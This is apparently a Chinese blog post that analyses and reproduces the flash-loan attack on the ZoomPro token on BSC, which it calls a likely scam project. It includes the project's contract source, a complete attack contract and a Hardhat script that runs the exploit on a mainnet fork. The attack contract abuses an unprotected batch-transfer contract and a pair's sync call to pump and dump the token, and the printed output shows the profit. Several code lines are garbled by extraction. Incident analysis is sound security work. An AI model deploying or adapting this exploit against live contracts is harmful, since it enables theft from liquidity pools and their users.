zoompro 攻击事件分析与复现

简介

项目官网:https://zoompro.finance/#/main/swap

从项目官网js文件能看出来此项目大概率是个骗子盘

post image

关键合约

假 u: 0x62D51AACb079e882b1cb7877438de485Cba0dD3f

批量转账合约:0x47391071824569F29381DFEaf2f1b47A4004933B

假u和token的池子:0x1c7ecBfc48eD0B34AAd4a9F338050685E66235C5

被黑代币 zoom:0x9CE084C378B3E65A164aeba12015ef3881E0F853

分析

攻击hash:https://bscscan.com/tx/0xe176bd9cfefd40dc03508e91d856bd1fe72ffc1e9260cd63502db68962b4de1a

来看下这个项目在测试网上的合约:

https://testnet.bscscan.com/address/0x253d3EC210449F6aED6B50E6a7dB40d3Fc89A2E5

// SPDX-License-Identifier: MIT
pragma solidiy ^0.6.12;

interface relationship {
    function defultFather() external returns (address);

    function father(address _addr) external view returns (address);

    function grandFather(address _addr) external returns (address);

    function otherCallSetRelationship(address _son, address _father) external;

    function getFather(address _addr) external view returns (address);

    function getGrandFather(address _addr) external view returns (address);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    function mint(uint256 amount) external returns (bool);

    function transferOwnership(address newOwner) external;
}

interface IdexRouter02 {
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function getAmountsOut(uint amountIn, address[] memory path)
    external view
    returns (uint[] memory amounts);
}

interface IusdtZhen {
    function walletAGate() external view returns (uint256);

    function walletBGate() external view returns (uint256);

    function fatherGate() external view returns (uint256);

    function grandFatherGate() external view returns (uint256);

    function brunGate() external view returns (uint256);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () public {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract AntiSwap is Ownable {

    address public usdtZhen;
    address public usdtJia;
    address public anti;

    //假u和token的lp
    address public pair;
    //真u和假u的lp
    address public pair2;
    address public defaultAdd; //断代后接收手续费的默认地址
    relationship public RP;

    address public fundPoolAdd; //基金池收取手续费比率
    uint256 public fundPoolRate; //基金池收取手续费比率
    uint256 public sixGenSumRate; //六代比率,总的,扩大10倍
    uint256[] public sixGenRate; //六代比率,每层,扩大100倍

    IdexRouter02 router02 = IdexRouter02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    event Transfer(address indexed from, address indexed to, uint256 value);
    mapping(address => bool) public writeList;
    function setWhiteListBat(address[] calldata _addr, uint256 _type, bool _YorN) external onlyOwner {for (uint256 i = 0; i < _addr.length; i++) {writeList[_addr[i]] = _YorN;}}

    function init(address _usdtZhen, address _usdtJia, address _anti, address _router02, address _pair, address _pair2,
        address _defaultAdd, address _RP,address _fundPoolAdd, uint256 _fundPoolRate, uint256[] memory _sixGenRate) public onlyOwner() {

        usdtZhen = _usdtZhen;
        usdtJia = _usdtJia;
        anti = _anti;
        router02 = IdexRouter02(_router02);
        pair = _pair;
        pair2 = _pair2;
        defaultAdd = _defaultAdd;
        RP = relationship(_RP);

        //手续费有收小数,所以注意设置上去时,要扩大十倍,不然到时候也gg了
        fundPoolAdd = _fundPoolAdd;
        fundPoolRate = _fundPoolRate;
        sixGenSumRate = 0;
        sixGenRate = _sixGenRate;
        for (uint256 i = 0; i < sixGenRate.length; i++) sixGenSumRate = sixGenSumRate + sixGenRate[i];

        IERC20(usdtZhen).approve(address(router02), uint256(- 1));
        IERC20(usdtJia).approve(address(router02), uint256(- 1));
        IERC20(anti).approve(address(router02), uint256(- 1));
        IERC20(pair).approve(address(router02), uint256(- 1));
        IERC20(pair2).approve(address(router02), uint256(- 1));
    }

    // ******************************************************

    //这里至下往上,逐级层级分润,详细见业务
    function rpSixAwardPub(uint256 _amount, address _to) internal returns (uint256){
        uint256 _trueAmount = _amount * (100000 - (sixGenSumRate + fundPoolRate)) / 100000; //算出来应获得,注意比率都扩大了十倍,都是浮点的锅
        if(_to != address(0)) {
            rpSixAward(_to, _amount); //层级吃吃吃吃吃吃
        } else {
            _trueAmount = _amount * (100000 - (fundPoolRate)) / 100000; //算出来应获得,注意比率都扩大了十倍,都是浮点的锅   
        }
        IERC20(anti).transfer(fundPoolAdd, _amount * fundPoolRate / 100000);//基金池马走日
        return _trueAmount;
    }

    function rpSixAward(address _user, uint256 _amount) internal returns (uint256){
        uint256 orw = 0;        //累计已发出金额
        address cua = _user;    //当前用户,要轮啊轮,不要就完犊子了

        //开始轮训奖励,吃吃吃吃吃吃饱业务
        for (uint256 i = 0; i < sixGenRate.length; i++) {
            address _fa = RP.father(cua);

            //两种情况:一种是没有绑定上线,另一种是有上线但没有六级,断档了真特么见鬼
            if (_fa == address(0)) {
                //处理方式都一样的,总的应发层级奖励-已发层级奖励。没有上线就是全吃吃吃吃吃,断档了就吃渣渣
                uint256 defaultAll = ((_amount * sixGenSumRate / 100000) - orw);
                IERC20(anti).transfer(defaultAdd, defaultAll);
                break;
            }

            //余下就是有上线的杂鱼,按业务分层处理,只有一个注意点,真特么手续费扩大过10倍,只处理0.X的费率,还说写死鬼
            uint256 _rw = (_amount * sixGenRate[i] / 100000);
            IERC20(anti).transfer(_fa, _rw);

            //累计发放过的金额,给孤儿或断档做计算数据。更替地址,给他老家伙轮训
            cua = _fa;
            orw += _rw;
        }

        return orw;
    }

    // ******************************************************
    //真u到token
    function buy(uint256 _amount) public {
        IERC20(usdtZhen).transferFrom(msg.sender, address(this), _amount);

        //开始得到token
        address[] memory path = new addressUnsupported embed;
        path[0] = usdtZhen;
        path[1] = usdtJia;
        path[2] = anti;
        uint256[] memory amountSwap = router02.swapExactTokensForTokens(_amount, 0, path, address(this), block.timestamp);

        uint256 bf = amountSwap[amountSwap.length - 1];//查询token余额
        uint256 bk = rpSixAwardPub(bf, msg.sender);//开始六层分润
        IERC20(anti).transfer(msg.sender, bk);//按刨除分润后的金额,系数打给用户
    }

    function sell(uint256 _amount) public {
        IERC20(anti).transferFrom(msg.sender, address(this), _amount);

        _amount = rpSixAwardPub(_amount, msg.sender);//修改金额,变成六层分润过后的金额

        address[] memory path = new addressUnsupported embed;
        path[0] = anti;
        path[1] = usdtJia;
        path[2] = usdtZhen;
        router02.swapExactTokensForTokens(_amount, 0, path, msg.sender, block.timestamp);
    }

    // ******************************************************
    //假u到token
    function buy2(uint256 _amount) public {
        require(writeList[msg.sender],"no swap role");
        IERC20(usdtJia).transferFrom(msg.sender, address(this), _amount);

        address[] memory path = new addressUnsupported embed;
        path[0] = usdtJia;
        path[1] = anti;

        uint256[] memory amountSwap = router02.swapExactTokensForTokens(_amount, 0, path, address(this), block.timestamp);

        uint256 bf = amountSwap[amountSwap.length - 1];//查询token余额
        uint256 bk = rpSixAwardPub(bf, address(0));//开始六层分润
        IERC20(anti).transfer(msg.sender, bk);//按刨除分润后的金额,系数打给用户
    }

    function sell2(uint256 _amount) public {
        require(writeList[msg.sender],"no swap role");
        IERC20(anti).transferFrom(msg.sender, address(this), _amount);

        _amount = rpSixAwardPub(_amount,  address(0));//修改金额,变成六层分润过后的金额

        address[] memory path = new addressUnsupported embed;
        path[0] = anti;
        path[1] = usdtJia;

        router02.swapExactTokensForTokens(_amount, 0, path, msg.sender, block.timestamp);
    }

    // ******************************************************
    //真u到假u
    function buy3(uint256 _amount) public {
        require(writeList[msg.sender],"no swap role");
        IERC20(usdtZhen).transferFrom(msg.sender, address(this), _amount);

        address[] memory path = new addressUnsupported embed;
        path[0] = usdtZhen;
        path[1] = usdtJia;

        uint256[] memory amountSwap = router02.swapExactTokensForTokens(_amount, 0, path, msg.sender, block.timestamp);
    }

    function sell3(uint256 _amount) public {
        require(writeList[msg.sender],"no swap role");
        IERC20(usdtJia).transferFrom(msg.sender, address(this), _amount);

        address[] memory path = new addressUnsupported embed;
        path[0] = usdtJia;
        path[1] = usdtZhen;

        router02.swapExactTokensForTokens(_amount, 0, path, msg.sender, block.timestamp);
    }

    // ******************************************************
    //真u到假u,内部调用。区别是:这个是转账到指定用户,上面那个是转账给调用人
    function buy3(uint256 _amount, address _user) internal {
        IERC20(usdtZhen).transferFrom(msg.sender, address(this), _amount);

        address[] memory path = new addressUnsupported embed;
        path[0] = usdtZhen;
        path[1] = usdtJia;

        router02.swapExactTokensForTokens(_amount, 0, path, _user, block.timestamp);
    }

    function sell3(uint256 _amount, address _user) internal {
        IERC20(usdtJia).transferFrom(msg.sender, address(this), _amount);

        address[] memory path = new addressUnsupported embed;
        path[0] = usdtJia;
        path[1] = usdtZhen;

        router02.swapExactTokensForTokens(_amount, 0, path, _user, block.timestamp);
    }

    // ******************************************************
    // 流动性管理- 真u到token
    function addL(uint256 _amountADesired, uint256 _amountBDesired) public {
        //把用户的真u搞成假u,就当时收用户假u
        buy3(_amountADesired, address(this));
        IERC20(anti).transferFrom(msg.sender, address(this), _amountBDesired);

        router02.addLiquidity(usdtJia, anti, IERC20(usdtJia).balanceOf(address(this)), _amountBDesired, 0, 0, msg.sender, block.timestamp);
    }

    function remL(uint256 _liquidity) public {
        //上一步:用户得到lp实际是:假u和token组合的lp。所以解除的话就是:得到假u和token
        IERC20(pair).transferFrom(msg.sender, address(this), _liquidity);
        router02.removeLiquidity(usdtJia, anti, _liquidity, 0, 0, address(this), block.timestamp);

        //然后把假u兑换真u
        address[] memory path = new addressUnsupported embed;
        path[0] = usdtJia;
        path[1] = usdtZhen;
        router02.swapExactTokensForTokens(IERC20(usdtJia).balanceOf(address(this)), 0, path, address(this), block.timestamp);

        //都给用户
        IERC20(usdtZhen).transfer(msg.sender, IERC20(usdtZhen).balanceOf(address(this)));
        IERC20(anti).transfer(msg.sender, IERC20(anti).balanceOf(address(this)));
    }

    // 流动性管理- token到假u。上面是把用户的真u搞成假u,然后添加了池子2的流动性。这一步是手里面直接有假u了,直接添加池子2流动性。以增加池子2假u和token的交易量(实际上是真u和token交易量)
    function addL2(uint256 _amountADesired, uint256 _amountBDesired) public {
        IERC20(usdtJia).transferFrom(msg.sender, address(this), _amountADesired);
        IERC20(anti).transferFrom(msg.sender, address(this), _amountBDesired);
        router02.addLiquidity(usdtJia, anti, _amountADesired, _amountBDesired, 0, 0, msg.sender, block.timestamp);
    }

    function remL2(uint256 _liquidity) public {
        IERC20(pair).transferFrom(msg.sender, address(this), _liquidity);
        router02.removeLiquidity(usdtJia, anti, _liquidity, 0, 0, msg.sender, block.timestamp);
    }

    // 流动性管理- 真u到假u。这里是添加池子1的流动性,这里是给用户提供转换的
    function addL3(uint256 _amountADesired, uint256 _amountBDesired) public {
        IERC20(usdtZhen).transferFrom(msg.sender, address(this), _amountADesired);
        IERC20(usdtJia).transferFrom(msg.sender, address(this), _amountBDesired);
        router02.addLiquidity(usdtZhen, usdtJia, _amountADesired, _amountBDesired, 0, 0, msg.sender, block.timestamp);
    }

    function remL3(uint256 _liquidity) public {
        IERC20(pair2).transferFrom(msg.sender, address(this), _liquidity);
        router02.removeLiquidity(usdtJia, usdtZhen, _liquidity, 0, 0, msg.sender, block.timestamp);
    }

    // ****************************************************** 询价

    function getPrice(address _token, uint256 _amount) public view returns (uint256){
        address[] memory path = new addressUnsupported embed;
        if (_token == usdtZhen) {
            path[0] = usdtZhen;
            path[1] = usdtJia;
            path[2] = anti;
        } else {
            path[0] = anti;
            path[1] = usdtJia;
            path[2] = usdtZhen;
        }
        return router02.getAmountsOut(_amount, path)[2];
    }

    function getPrice2(address _token, uint256 _amount) public view returns (uint256){
        address[] memory path = new addressUnsupported embed;
        if (_token == usdtJia) {
            path[0] = usdtJia;
            path[1] = anti;
        } else {
            path[0] = anti;
            path[1] = usdtJia;
        }

        return router02.getAmountsOut(_amount, path)[1];
    }

    function getPrice3(address _token, uint256 _amount) public view returns (uint256){
        address[] memory path = new addressUnsupported embed;
        if (_token == usdtZhen) {
            path[0] = usdtZhen;
            path[1] = usdtJia;
        } else {
            path[0] = usdtJia;
            path[1] = usdtZhen;
        }

        return router02.getAmountsOut(_amount, path)[1];
    }

    // ****************************************************** 普通币币,查询lp

    function getLp(address fa, address tokenA, address tokenB) public view returns (address pair){return IusdtZhen(fa).getPair(tokenA, tokenB);}

    function withdrawToken(address token, address to, uint value) public onlyOwner returns (bool){
        (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0xa9059cbb, to, value));
        require(success, string(abi.encodePacked("fail code 14", data)));
        return success;
    }

}

逻辑大概是 用户用真u买币->真u换成假u->假u换币 实际上项目方有两个池子 一个是真u和假u 的池子 一个是假u和币的池子

漏洞成因

项目方为了方便空投发币方便创建了一个批量发币合约,但是不知道为啥项目方往这个合约里打了100w的假u,这个合约是不开源的,但是没有权限控制,任何人都可以调用,猜测攻击者从项目方的地址交易记录中发现里这个合约。

post image

攻击流程

攻击者从pancake池子中闪电贷了300w usdt ,然后调用受害合约的buy方法 买入大量代币,此时攻击者手里有大量代币,然后攻击者调用批量转账合约里的方法将合约里的100w 假u转入pair 合约中,然后调用pair合约的sync方法,强制更新了pair合约的储备量,此时币价会拉升,相当于给攻击者手里的筹码拉盘了,然后攻击者开始砸盘,最终获利$6.1w

复现

攻击合约

/**
 *Submitted for verification at BscScan.com on 2022-03-16
*/

pragma solidity = 0.8.6;



interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);

}

interface IPancakeCallee {
    function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
interface IPancakePair {
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
interface IUSD {
  function batchToken(address[] calldata _addr, uint256[]calldata _num, address token)external ;
  function swapTokensForExactTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts) ;
    function buy(uint256) external ;
    function sell(uint256)external ;
    function getReserves() external  view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
    function sync ()external ;
}

contract flashloan is IPancakeCallee{
    address private bnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
    address private  router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
    address private usdt = 0x55d398326f99059fF775485246999027B3197955;
    address private swap = 0x5a9846062524631C01ec11684539623DAb1Fae58;
    IERC20 Usdt =IERC20 (usdt);
    address private  zoom = 0x9CE084C378B3E65A164aeba12015ef3881E0F853;
    address private batch = 0x47391071824569F29381DFEaf2f1b47A4004933B;
    address private fU = 0x62D51AACb079e882b1cb7877438de485Cba0dD3f;
    address private pp = 0x1c7ecBfc48eD0B34AAd4a9F338050685E66235C5;
    IERC20 Zoom =IERC20 (zoom);
    IPancakePair LP= IPancakePair(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);
    function loan(uint256 amount) public payable{
            require(msg.sender ==0xc578d755cd56255d3ff6e92e1b6371ba945e3984, "fuck u");
        LP.swap(amount,0,address(this),new bytes(1));//vay tiền

    }
   
    function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) override external
    {
        uint256 ba = Usdt.balanceOf(address(this));
        Usdt.approve(swap,100000000000000000000000000000000000000);
        address[] memory path = new addressUnsupported embed;
        path[0] = usdt;
        path[1] =swap;
        IUSD(swap).buy(ba);
        address[] memory n1 = new addressUnsupported embed;
        n1[0] = pp;
        uint256[] memory n2 = new uint256Unsupported embed;
        n2[0] = 1000000 ether;
        IUSD(batch).batchToken(n1,n2,fU);
        IUSD(pp).sync();
        uint256 baz = Zoom.balanceOf(address(this));
        Zoom.approve(swap, baz*100);
        IUSD(swap).sell(baz);

        Usdt.transfer(address(LP),(ba*10030)/10000);//tra tien
//
        uint256 U= Usdt.balanceOf(address(this));
        IERC20(usdt).transfer(0xc578d755cd56255d3ff6e92e1b6371ba945e3984,U);
    }

}

使用hardhat fork bsc主网 21055930区块:

攻击脚本

const hre = require('hardhat')

async function main(){
    const attackAddr = "0xc578d755cd56255d3ff6e92e1b6371ba945e3984"
    const usdtAddress = "0x55d398326f99059fF775485246999027B3197955"
    const amount = 3000000000000000000000000


    //step1 deploy attack contract
    await hre.network.provider.request({
        method:"hardhat_impersonateAccount",
        params:[attackAddr]
    })
    const signer = await hre.ethers.getSigner(attackAddr)
    let attackcontract = await hre.ethers.getContractFactory("flashloan",signer)
    let usdtContract = await hre.ethers.getContractAt('IBEP20',usdtAddress)
    let attackContract = await attackcontract.deploy()
    await attackContract.deployed()
    console.log("attack contract deployed address is:",attackContract.address)
    const bal1 = await usdtContract.balanceOf(attackAddr)
    console.log("before attack hacker usdt balance is:",bal1/1e18)
    //step2 excute flashloan
    console.log("start attack....")
    await attackContract.loan(BigInt(amount))
    const bal2 = await usdtContract.balanceOf(attackAddr)
    console.log("attack complete usdt balance is :",bal2/1e18)
}

main()

结果如下:

attack contract deployed address is: 0x95eaaA92eE4e383e728959083F4B9fd3C21227FB
before attack hacker usdt balance is: 0
start attack....
attack complete usdt balance is : 61160.28312893072